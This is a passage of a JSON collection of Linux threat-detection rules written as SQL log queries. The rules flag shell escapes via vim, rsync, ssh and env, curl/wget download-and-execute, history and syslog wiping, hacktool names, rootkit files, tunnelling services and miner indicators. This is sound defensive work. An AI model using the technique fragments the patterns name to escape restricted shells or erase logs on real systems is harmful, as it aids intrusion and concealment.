            "SELECT * FROM logs WHERE (Image LIKE '%/systemctl' ESCAPE '\\' OR Image LIKE '%/bash' ESCAPE '\\' OR Image LIKE '%/sh' ESCAPE '\\') AND (CommandLine LIKE '%stop%' ESCAPE '\\' AND CommandLine LIKE '%kesl%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Triple Cross eBPF Rootkit Execve Hijack",
        "id": "0326c3c8-7803-4a0f-8c5c-368f747f7c3e",
        "status": "test",
        "description": "Detects execution of a the file \"execve_hijack\" which is used by the Triple Cross rootkit as a way to elevate privileges",
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.privilege-escalation",
            "attack.stealth"
        ],
        "falsepositives": [
            "Unlikely"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/sudo' ESCAPE '\\' AND CommandLine LIKE '%execve\\_hijack%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Vim GTFOBin Abuse - Linux",
        "id": "7ab8f73a-fcff-428b-84aa-6a5ff7877dea",
        "status": "test",
        "description": "Detects the use of \"vim\" and it's siblings commands to execute a shell or proxy commands.\nSuch behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.\n",
        "author": "Nasreddine Bencherchali (Nextron Systems), Luc G\u00e9naux",
        "tags": [
            "attack.execution",
            "attack.discovery",
            "attack.t1059",
            "attack.t1083"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE ((Image LIKE '%/rvim' ESCAPE '\\' OR Image LIKE '%/vi' ESCAPE '\\' OR Image LIKE '%/vim' ESCAPE '\\' OR Image LIKE '%/vimdiff' ESCAPE '\\') AND (CommandLine LIKE '% --cmd %' ESCAPE '\\' OR CommandLine LIKE '% -c%' ESCAPE '\\')) AND (CommandLine LIKE '%:!/%' ESCAPE '\\' OR CommandLine LIKE '%:!$%' ESCAPE '\\' OR CommandLine LIKE '%:!..%' ESCAPE '\\' OR CommandLine LIKE '%:lua %' ESCAPE '\\' OR CommandLine LIKE '%:py %' ESCAPE '\\' OR CommandLine LIKE '%:shell%' ESCAPE '\\' OR CommandLine LIKE '%/bin/bash%' ESCAPE '\\' OR CommandLine LIKE '%/bin/dash%' ESCAPE '\\' OR CommandLine LIKE '%/bin/fish%' ESCAPE '\\' OR CommandLine LIKE '%/bin/sh%' ESCAPE '\\' OR CommandLine LIKE '%/bin/csh%' ESCAPE '\\' OR CommandLine LIKE '%/bin/ksh%' ESCAPE '\\' OR CommandLine LIKE '%/bin/zsh%' ESCAPE '\\' OR CommandLine LIKE '%/bin/tmux%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Suspicious Java Children Processes",
        "id": "d292e0af-9a18-420c-9525-ec0ac3936892",
        "status": "test",
        "description": "Detects java process spawning suspicious children",
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.execution",
            "attack.t1059"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE ParentImage LIKE '%/java' ESCAPE '\\' AND (CommandLine LIKE '%/bin/sh%' ESCAPE '\\' OR CommandLine LIKE '%bash%' ESCAPE '\\' OR CommandLine LIKE '%dash%' ESCAPE '\\' OR CommandLine LIKE '%ksh%' ESCAPE '\\' OR CommandLine LIKE '%zsh%' ESCAPE '\\' OR CommandLine LIKE '%csh%' ESCAPE '\\' OR CommandLine LIKE '%fish%' ESCAPE '\\' OR CommandLine LIKE '%curl%' ESCAPE '\\' OR CommandLine LIKE '%wget%' ESCAPE '\\' OR CommandLine LIKE '%python%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Suspicious Download and Execute Pattern via Curl/Wget",
        "id": "a2d9e2f3-0f43-4c7a-bcd9-9acfc0d723aa",
        "status": "experimental",
        "description": "Detects suspicious use of command-line tools such as curl or wget to download remote\ncontent - particularly scripts - into temporary directories (e.g., /dev/shm, /tmp), followed by\nimmediate execution, indicating potential malicious activity. This pattern is commonly used\nby malicious scripts, stagers, or downloaders in fileless or multi-stage Linux attacks.\n",
        "author": "Aayush Gupta",
        "tags": [
            "attack.execution",
            "attack.t1059.004",
            "attack.t1203"
        ],
        "falsepositives": [
            "System update scripts using temporary files",
            "Installer scripts or automated provisioning tools"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE (CommandLine LIKE '%/curl%' ESCAPE '\\' OR CommandLine LIKE '%/wget%' ESCAPE '\\') AND (CommandLine LIKE '%/tmp/%' ESCAPE '\\' OR CommandLine LIKE '%/dev/shm/%' ESCAPE '\\') AND CommandLine LIKE '%sh -c%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "OMIGOD SCX RunAsProvider ExecuteShellCommand",
        "id": "21541900-27a9-4454-9c4c-3f0a4240344a",
        "status": "test",
        "description": "Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.\nSCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including\nMicrosoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.\n",
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC",
        "tags": [
            "attack.privilege-escalation",
            "attack.initial-access",
            "attack.execution",
            "attack.t1068",
            "attack.t1190",
            "attack.t1203"
        ],
        "falsepositives": [
            "Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand."
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE User='root' AND LogonId=0 AND CurrentDirectory='/var/opt/microsoft/scx/tmp' AND CommandLine LIKE '%/bin/sh%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Linux Crypto Mining Indicators",
        "id": "9069ea3c-b213-4c52-be13-86506a227ab1",
        "status": "test",
        "description": "Detects command line parameters or strings often used by crypto miners",
        "author": "Florian Roth (Nextron Systems)",
        "tags": [
            "attack.impact",
            "attack.t1496"
        ],
        "falsepositives": [
            "Legitimate use of crypto miners"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE CommandLine LIKE '% --cpu-priority=%' ESCAPE '\\' OR CommandLine LIKE '%--donate-level=0%' ESCAPE '\\' OR CommandLine LIKE '% -o pool.%' ESCAPE '\\' OR CommandLine LIKE '% --nicehash%' ESCAPE '\\' OR CommandLine LIKE '% --algo=rx/0 %' ESCAPE '\\' OR CommandLine LIKE '%stratum+tcp://%' ESCAPE '\\' OR CommandLine LIKE '%stratum+udp://%' ESCAPE '\\' OR CommandLine LIKE '%sh -c /sbin/modprobe msr allow\\_writes=on%' ESCAPE '\\' OR CommandLine LIKE '%LS1kb25hdGUtbGV2ZWw9%' ESCAPE '\\' OR CommandLine LIKE '%0tZG9uYXRlLWxldmVsP%' ESCAPE '\\' OR CommandLine LIKE '%tLWRvbmF0ZS1sZXZlbD%' ESCAPE '\\' OR CommandLine LIKE '%c3RyYXR1bSt0Y3A6Ly%' ESCAPE '\\' OR CommandLine LIKE '%N0cmF0dW0rdGNwOi8v%' ESCAPE '\\' OR CommandLine LIKE '%zdHJhdHVtK3RjcDovL%' ESCAPE '\\' OR CommandLine LIKE '%c3RyYXR1bSt1ZHA6Ly%' ESCAPE '\\' OR CommandLine LIKE '%N0cmF0dW0rdWRwOi8v%' ESCAPE '\\' OR CommandLine LIKE '%zdHJhdHVtK3VkcDovL%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Linux HackTool Execution",
        "id": "a015e032-146d-4717-8944-7a1884122111",
        "status": "test",
        "description": "Detects known hacktool execution based on image name.",
        "author": "Nasreddine Bencherchali (Nextron Systems), Georg Lauenstein (sure[secure])",
        "tags": [
            "attack.execution",
            "attack.resource-development",
            "attack.t1587"
        ],
        "falsepositives": [
            "Unlikely"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/crackmapexec' ESCAPE '\\' OR Image LIKE '%/havoc' ESCAPE '\\' OR Image LIKE '%/merlin-agent' ESCAPE '\\' OR Image LIKE '%/merlinServer-Linux-x64' ESCAPE '\\' OR Image LIKE '%/msfconsole' ESCAPE '\\' OR Image LIKE '%/msfvenom' ESCAPE '\\' OR Image LIKE '%/ps-empire server' ESCAPE '\\' OR Image LIKE '%/ps-empire' ESCAPE '\\' OR Image LIKE '%/sliver-client' ESCAPE '\\' OR Image LIKE '%/sliver-server' ESCAPE '\\' OR Image LIKE '%/Villain.py' ESCAPE '\\') OR (Image LIKE '%/cobaltstrike%' ESCAPE '\\' OR Image LIKE '%/teamserver%' ESCAPE '\\') OR (Image LIKE '%/autorecon' ESCAPE '\\' OR Image LIKE '%/httpx' ESCAPE '\\' OR Image LIKE '%/legion' ESCAPE '\\' OR Image LIKE '%/naabu' ESCAPE '\\' OR Image LIKE '%/netdiscover' ESCAPE '\\' OR Image LIKE '%/nuclei' ESCAPE '\\' OR Image LIKE '%/recon-ng' ESCAPE '\\') OR Image LIKE '%/sniper%' ESCAPE '\\' OR (Image LIKE '%/dirb' ESCAPE '\\' OR Image LIKE '%/dirbuster' ESCAPE '\\' OR Image LIKE '%/eyewitness' ESCAPE '\\' OR Image LIKE '%/feroxbuster' ESCAPE '\\' OR Image LIKE '%/ffuf' ESCAPE '\\' OR Image LIKE '%/gobuster' ESCAPE '\\' OR Image LIKE '%/wfuzz' ESCAPE '\\' OR Image LIKE '%/whatweb' ESCAPE '\\') OR (Image LIKE '%/joomscan' ESCAPE '\\' OR Image LIKE '%/nikto' ESCAPE '\\' OR Image LIKE '%/wpscan' ESCAPE '\\') OR (Image LIKE '%/aircrack-ng' ESCAPE '\\' OR Image LIKE '%/bloodhound-python' ESCAPE '\\' OR Image LIKE '%/bpfdos' ESCAPE '\\' OR Image LIKE '%/ebpfki' ESCAPE '\\' OR Image LIKE '%/evil-winrm' ESCAPE '\\' OR Image LIKE '%/hashcat' ESCAPE '\\' OR Image LIKE '%/hoaxshell.py' ESCAPE '\\' OR Image LIKE '%/hydra' ESCAPE '\\' OR Image LIKE '%/john' ESCAPE '\\' OR Image LIKE '%/ncrack' ESCAPE '\\' OR Image LIKE '%/nxc-ubuntu-latest' ESCAPE '\\' OR Image LIKE '%/pidhide' ESCAPE '\\' OR Image LIKE '%/pspy32' ESCAPE '\\' OR Image LIKE '%/pspy32s' ESCAPE '\\' OR Image LIKE '%/pspy64' ESCAPE '\\' OR Image LIKE '%/pspy64s' ESCAPE '\\' OR Image LIKE '%/setoolkit' ESCAPE '\\' OR Image LIKE '%/sqlmap' ESCAPE '\\' OR Image LIKE '%/writeblocker' ESCAPE '\\') OR Image LIKE '%/linpeas%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Shell Execution via Rsync - Linux",
        "id": "e2326866-609f-4015-aea9-7ec634e8aa04",
        "status": "experimental",
        "description": "Detects the use of the \"rsync\" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.\n",
        "author": "Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.), Florian Roth",
        "tags": [
            "attack.execution",
            "attack.t1059"
        ],
        "falsepositives": [
            "Legitimate cases in which \"rsync\" is used to execute a shell"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE ((Image LIKE '%/rsync' ESCAPE '\\' OR Image LIKE '%/rsyncd' ESCAPE '\\') AND CommandLine LIKE '% -e %' ESCAPE '\\') AND (CommandLine LIKE '%/ash %' ESCAPE '\\' OR CommandLine LIKE '%/bash %' ESCAPE '\\' OR CommandLine LIKE '%/dash %' ESCAPE '\\' OR CommandLine LIKE '%/csh %' ESCAPE '\\' OR CommandLine LIKE '%/sh %' ESCAPE '\\' OR CommandLine LIKE '%/zsh %' ESCAPE '\\' OR CommandLine LIKE '%/tcsh %' ESCAPE '\\' OR CommandLine LIKE '%/ksh %' ESCAPE '\\' OR CommandLine LIKE '%''ash %' ESCAPE '\\' OR CommandLine LIKE '%''bash %' ESCAPE '\\' OR CommandLine LIKE '%''dash %' ESCAPE '\\' OR CommandLine LIKE '%''csh %' ESCAPE '\\' OR CommandLine LIKE '%''sh %' ESCAPE '\\' OR CommandLine LIKE '%''zsh %' ESCAPE '\\' OR CommandLine LIKE '%''tcsh %' ESCAPE '\\' OR CommandLine LIKE '%''ksh %' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "History File Deletion",
        "id": "1182f3b3-e716-4efa-99ab-d2685d04360f",
        "status": "test",
        "description": "Detects events in which a history file gets deleted, e.g. the ~/bash_history to remove traces of malicious activity",
        "author": "Florian Roth (Nextron Systems)",
        "tags": [
            "attack.impact",
            "attack.t1565.001"
        ],
        "falsepositives": [
            "Legitimate administration activities"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/rm' ESCAPE '\\' OR Image LIKE '%/unlink' ESCAPE '\\' OR Image LIKE '%/shred' ESCAPE '\\') AND ((CommandLine LIKE '%/.bash\\_history%' ESCAPE '\\' OR CommandLine LIKE '%/.zsh\\_history%' ESCAPE '\\') OR (CommandLine LIKE '%\\_history' ESCAPE '\\' OR CommandLine LIKE '%.history' ESCAPE '\\' OR CommandLine LIKE '%zhistory' ESCAPE '\\'))"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Shell Invocation Via Ssh - Linux",
        "id": "8737b7f6-8df3-4bb7-b1da-06019b99b687",
        "status": "test",
        "description": "Detects the use of the \"ssh\" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.\n",
        "author": "Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)",
        "tags": [
            "attack.execution",
            "attack.t1059"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/ssh' ESCAPE '\\' AND (CommandLine LIKE '%ProxyCommand=;%' ESCAPE '\\' OR CommandLine LIKE '%permitlocalcommand=yes%' ESCAPE '\\' OR CommandLine LIKE '%localhost%' ESCAPE '\\')) AND (CommandLine LIKE '%/bin/bash%' ESCAPE '\\' OR CommandLine LIKE '%/bin/dash%' ESCAPE '\\' OR CommandLine LIKE '%/bin/fish%' ESCAPE '\\' OR CommandLine LIKE '%/bin/sh%' ESCAPE '\\' OR CommandLine LIKE '%/bin/zsh%' ESCAPE '\\' OR CommandLine LIKE '%sh 0<&2 1>&2%' ESCAPE '\\' OR CommandLine LIKE '%sh 1>&2 0<&2%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Script Interpreter Spawning Credential Scanner - Linux",
        "id": "f0025a69-e1b7-4dda-a53c-db21fa2d4071",
        "status": "experimental",
        "description": "Detects a script interpreter process (like node.js or bun) spawning a known credential scanning tool (e.g., trufflehog, gitleaks).\nThis behavior is indicative of an attempt to find and steal secrets, as seen in the \"Shai-Hulud: The Second Coming\" campaign.\n",
        "author": "Swachchhanda Shrawan Poudel (Nextron Systems)",
        "tags": [
            "attack.credential-access",
            "attack.t1552",
            "attack.execution",
            "attack.collection",
            "attack.t1005",
            "attack.t1059.004"
        ],
        "falsepositives": [
            "Legitimate pre-commit hooks or CI/CD pipeline jobs that use a script to run a credential scanner as part of a security check."
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE (ParentImage LIKE '%/node' ESCAPE '\\' OR ParentImage LIKE '%/bun' ESCAPE '\\') AND ((Image LIKE '%/trufflehog' ESCAPE '\\' OR Image LIKE '%/gitleaks' ESCAPE '\\') OR (CommandLine LIKE '%trufflehog%' ESCAPE '\\' OR CommandLine LIKE '%gitleaks%' ESCAPE '\\'))"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Shell Invocation via Env Command - Linux",
        "id": "bed978f8-7f3a-432b-82c5-9286a9b3031a",
        "status": "test",
        "description": "Detects the use of the env command to invoke a shell. This may indicate an attempt to bypass restricted environments, escalate privileges, or execute arbitrary commands.\n",
        "author": "Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)",
        "tags": [
            "attack.execution",
            "attack.t1059.004"
        ],
        "falsepositives": [
            "Github operations such as ghe-backup"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/env' ESCAPE '\\' AND (CommandLine LIKE '%/bin/bash%' ESCAPE '\\' OR CommandLine LIKE '%/bin/dash%' ESCAPE '\\' OR CommandLine LIKE '%/bin/fish%' ESCAPE '\\' OR CommandLine LIKE '%/bin/sh%' ESCAPE '\\' OR CommandLine LIKE '%/bin/zsh%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Syslog Clearing or Removal Via System Utilities",
        "id": "3fcc9b35-39e4-44c0-a2ad-9e82b6902b31",
        "status": "test",
        "description": "Detects specific commands commonly used to remove or empty the syslog. Which is a technique often used by attacker as a method to hide their tracks\n",
        "author": "Max Altgelt (Nextron Systems), Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC",
        "tags": [
            "attack.defense-impairment",
            "attack.t1685.006"
        ],
        "falsepositives": [
            "Log rotation.",
            "Maintenance."
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE (CommandLine LIKE '%/var/log/syslog%' ESCAPE '\\' AND ((Image LIKE '%/rm' ESCAPE '\\' AND (CommandLine LIKE '% -r %' ESCAPE '\\' OR CommandLine LIKE '% -f %' ESCAPE '\\' OR CommandLine LIKE '% -rf %' ESCAPE '\\' OR CommandLine LIKE '%/var/log/syslog%' ESCAPE '\\')) OR Image LIKE '%/unlink' ESCAPE '\\' OR Image LIKE '%/mv' ESCAPE '\\' OR (Image LIKE '%/truncate' ESCAPE '\\' AND (CommandLine LIKE '%0 %' ESCAPE '\\' AND CommandLine LIKE '%/var/log/syslog%' ESCAPE '\\') AND (CommandLine LIKE '%-s %' ESCAPE '\\' OR CommandLine LIKE '%-c %' ESCAPE '\\' OR CommandLine LIKE '%--size%' ESCAPE '\\')) OR (Image LIKE '%/ln' ESCAPE '\\' AND (CommandLine LIKE '%/dev/null %' ESCAPE '\\' AND CommandLine LIKE '%/var/log/syslog%' ESCAPE '\\') AND (CommandLine LIKE '%-sf %' ESCAPE '\\' OR CommandLine LIKE '%-sfn %' ESCAPE '\\' OR CommandLine LIKE '%-sfT %' ESCAPE '\\')) OR (Image LIKE '%/cp' ESCAPE '\\' AND CommandLine LIKE '%/dev/null%' ESCAPE '\\') OR (Image LIKE '%/shred' ESCAPE '\\' AND CommandLine LIKE '%-u %' ESCAPE '\\'))) OR ((CommandLine LIKE '% > /var/log/syslog%' ESCAPE '\\' OR CommandLine LIKE '% >/var/log/syslog%' ESCAPE '\\' OR CommandLine LIKE '% >| /var/log/syslog%' ESCAPE '\\' OR CommandLine LIKE '%: > /var/log/syslog%' ESCAPE '\\' OR CommandLine LIKE '%:> /var/log/syslog%' ESCAPE '\\' OR CommandLine LIKE '%:>/var/log/syslog%' ESCAPE '\\' OR CommandLine LIKE '%>|/var/log/syslog%' ESCAPE '\\') OR (CommandLine LIKE '%journalctl --vacuum%' ESCAPE '\\' OR CommandLine LIKE '%journalctl --rotate%' ESCAPE '\\'))"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Linux Recon Indicators",
        "id": "0cf7a157-8879-41a2-8f55-388dd23746b7",
        "status": "test",
        "description": "Detects events with patterns found in commands used for reconnaissance on linux systems",
        "author": "Florian Roth (Nextron Systems)",
        "tags": [
            "attack.reconnaissance",
            "attack.t1592.004",
            "attack.credential-access",
            "attack.t1552.001"
        ],
        "falsepositives": [
            "Legitimate administration activities"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE CommandLine LIKE '% -name .htpasswd%' ESCAPE '\\' OR CommandLine LIKE '% -perm -4000 %' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Triple Cross eBPF Rootkit Default LockFile",
        "id": "c0239255-822c-4630-b7f1-35362bcb8f44",
        "status": "test",
        "description": "Detects the creation of the file \"rootlog\" which is used by the TripleCross rootkit as a way to check if the backdoor is already running.",
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.stealth"
        ],
        "falsepositives": [
            "Unlikely"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE TargetFilename='/tmp/rootlog'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Triple Cross eBPF Rootkit Default Persistence",
        "id": "1a2ea919-d11d-4d1e-8535-06cda13be20f",
        "status": "test",
        "description": "Detects the creation of \"ebpfbackdoor\" files in both \"cron.d\" and \"sudoers.d\" directories. Which both are related to the TripleCross persistence method",
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.privilege-escalation",
            "attack.execution",
            "attack.persistence",
            "attack.t1053.003"
        ],
        "falsepositives": [
            "Unlikely"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE TargetFilename LIKE '%ebpfbackdoor' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Suspicious Filename with Embedded Base64 Commands",
        "id": "179b3686-6271-4d87-807d-17d843a8af73",
        "status": "experimental",
        "description": "Detects files with specially crafted filenames that embed Base64-encoded bash payloads designed to execute when processed by shell scripts.\nThese filenames exploit shell interpretation quirks to trigger hidden commands, a technique observed in VShell malware campaigns.\n",
        "author": "@kostastsale",
        "tags": [
            "attack.execution",
            "attack.stealth",
            "attack.t1059.004",
            "attack.t1027"
        ],
        "falsepositives": [
            "Legitimate files with similar naming patterns (very unlikely)."
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE TargetFilename LIKE '%{echo%' ESCAPE '\\' OR TargetFilename LIKE '%{base64,-d}%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "ASLR Disabled Via Sysctl or Direct Syscall - Linux",
        "id": "e497a24e-9345-4a62-9803-b06d7d7cb132",
        "status": "experimental",
        "description": "Detects actions that disable Address Space Layout Randomization (ASLR) in Linux, including:\n  - Use of the `personality` syscall with the ADDR_NO_RANDOMIZE flag (0x0040000)\n  - Modification of the /proc/sys/kernel/randomize_va_space file\n  - Execution of the `sysctl` command to set `kernel.randomize_va_space=0`\nDisabling ASLR is often used by attackers during exploit development or to bypass memory protection mechanisms.\nA successful use of these methods can reduce the effectiveness of ASLR and make memory corruption attacks more reliable.\n",
        "author": "Milad Cheraghi",
        "tags": [
            "attack.privilege-escalation",
            "attack.stealth",
            "attack.defense-impairment",
            "attack.t1685",
            "attack.t1055.009"
        ],
        "falsepositives": [
            "Debugging or legitimate software testing"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE (type='SYSCALL' AND SYSCALL='personality' AND a0=40000) OR (type='EXECVE' AND a0='sysctl' AND a1='-w' AND a2 LIKE 'kernel.randomize\\_va\\_space=0' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Linux Keylogging with Pam.d",
        "id": "49aae26c-450e-448b-911d-b3c13d178dfc",
        "status": "test",
        "description": "Detect attempt to enable auditing of TTY input",
        "author": "Pawel Mazur",
        "tags": [
            "attack.collection",
            "attack.credential-access",
            "attack.t1003",
            "attack.t1056.001"
        ],
        "falsepositives": [
            "Administrative work"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE (type='PATH' AND (name='/etc/pam.d/system-auth' OR name='/etc/pam.d/password-auth')) OR (type='TTY' OR type LIKE 'USER\\_TTY' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Communication To LocaltoNet Tunneling Service Initiated - Linux",
        "id": "c4568f5d-131f-4e78-83d4-45b2da0ec4f1",
        "status": "test",
        "description": "Detects an executable initiating a network connection to \"LocaltoNet\" tunneling sub-domains.\nLocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet.\nAttackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls.\n",
        "author": "Andreas Braathen (mnemonic.io)",
        "tags": [
            "attack.command-and-control",
            "attack.t1572",
            "attack.t1090",
            "attack.t1102"
        ],
        "falsepositives": [
            "Legitimate use of the LocaltoNet service."
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE (DestinationHostname LIKE '%.localto.net' ESCAPE '\\' OR DestinationHostname LIKE '%.localtonet.com' ESCAPE '\\') AND Initiated='true'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Communication To Ngrok Tunneling Service - Linux",
        "id": "19bf6fdb-7721-4f3d-867f-53467f6a5db6",
        "status": "test",
        "description": "Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors",
        "author": "Florian Roth (Nextron Systems)",
        "tags": [
            "attack.exfiltration",
            "attack.command-and-control",
            "attack.t1567",
            "attack.t1568.002",
            "attack.t1572",
            "attack.t1090",
            "attack.t1102",
            "attack.s0508"
        ],
        "falsepositives": [
            "Legitimate use of ngrok"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE DestinationHostname LIKE '%tunnel.us.ngrok.com%' ESCAPE '\\' OR DestinationHostname LIKE '%tunnel.eu.ngrok.com%' ESCAPE '\\' OR DestinationHostname LIKE '%tunnel.ap.ngrok.com%' ESCAPE '\\' OR DestinationHostname LIKE '%tunnel.au.ngrok.com%' ESCAPE '\\' OR DestinationHostname LIKE '%tunnel.sa.ngrok.com%' ESCAPE '\\' OR DestinationHostname LIKE '%tunnel.jp.ngrok.com%' ESCAPE '\\' OR DestinationHostname LIKE '%tunnel.in.ngrok.com%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Potentially Suspicious Malware Callback Communication - Linux",
        "id": "dbfc7c98-04ab-4ab7-aa94-c74d22aa7376",
        "status": "test",
        "description": "Detects programs that connect to known malware callback ports based on threat intelligence reports.\n",
        "author": "hasselj",
        "tags": [
            "attack.persistence",
            "attack.command-and-control",
            "attack.t1571"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE (Initiated='true' AND (DestinationPort=888 OR DestinationPort=999 OR DestinationPort=2200 OR DestinationPort=2222 OR DestinationPort=4000 OR DestinationPort=4444 OR DestinationPort=6789 OR DestinationPort=8531 OR DestinationPort=50501 OR DestinationPort=51820)) AND (NOT (DestinationIp LIKE '127.%' ESCAPE '\\' OR DestinationIp LIKE '10.%' ESCAPE '\\' OR DestinationIp LIKE '172.16.%' ESCAPE '\\' OR DestinationIp LIKE '172.17.%' ESCAPE '\\' OR DestinationIp LIKE '172.18.%' ESCAPE '\\' OR DestinationIp LIKE '172.19.%' ESCAPE '\\' OR DestinationIp LIKE '172.20.%' ESCAPE '\\' OR DestinationIp LIKE '172.21.%' ESCAPE '\\' OR DestinationIp LIKE '172.22.%' ESCAPE '\\' OR DestinationIp LIKE '172.23.%' ESCAPE '\\' OR DestinationIp LIKE '172.24.%' ESCAPE '\\' OR DestinationIp LIKE '172.25.%' ESCAPE '\\' OR DestinationIp LIKE '172.26.%' ESCAPE '\\' OR DestinationIp LIKE '172.27.%' ESCAPE '\\' OR DestinationIp LIKE '172.28.%' ESCAPE '\\' OR DestinationIp LIKE '172.29.%' ESCAPE '\\' OR DestinationIp LIKE '172.30.%' ESCAPE '\\' OR DestinationIp LIKE '172.31.%' ESCAPE '\\' OR DestinationIp LIKE '192.168.%' ESCAPE '\\' OR DestinationIp LIKE '169.254.%' ESCAPE '\\' OR DestinationIp='::1' OR DestinationIp LIKE 'fe8%' ESCAPE '\\' OR DestinationIp LIKE 'fe9%' ESCAPE '\\' OR DestinationIp LIKE 'fea%' ESCAPE '\\' OR DestinationIp LIKE 'feb%' ESCAPE '\\' OR DestinationIp LIKE 'fc%' ESCAPE '\\' OR DestinationIp LIKE 'fd%' ESCAPE '\\'))"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Linux Crypto Mining Pool Connections",
        "id": "a46c93b7-55ed-4d27-a41b-c259456c4746",
        "status": "stable",
        "description": "Detects process connections to a Monero crypto mining pool",
        "author": "Florian Roth (Nextron Systems)",
        "tags": [
            "attack.impact",
            "attack.t1496"
        ],
        "falsepositives": [
            "Legitimate use of crypto miners"
        ],
        "level": "high",
        "rule": [
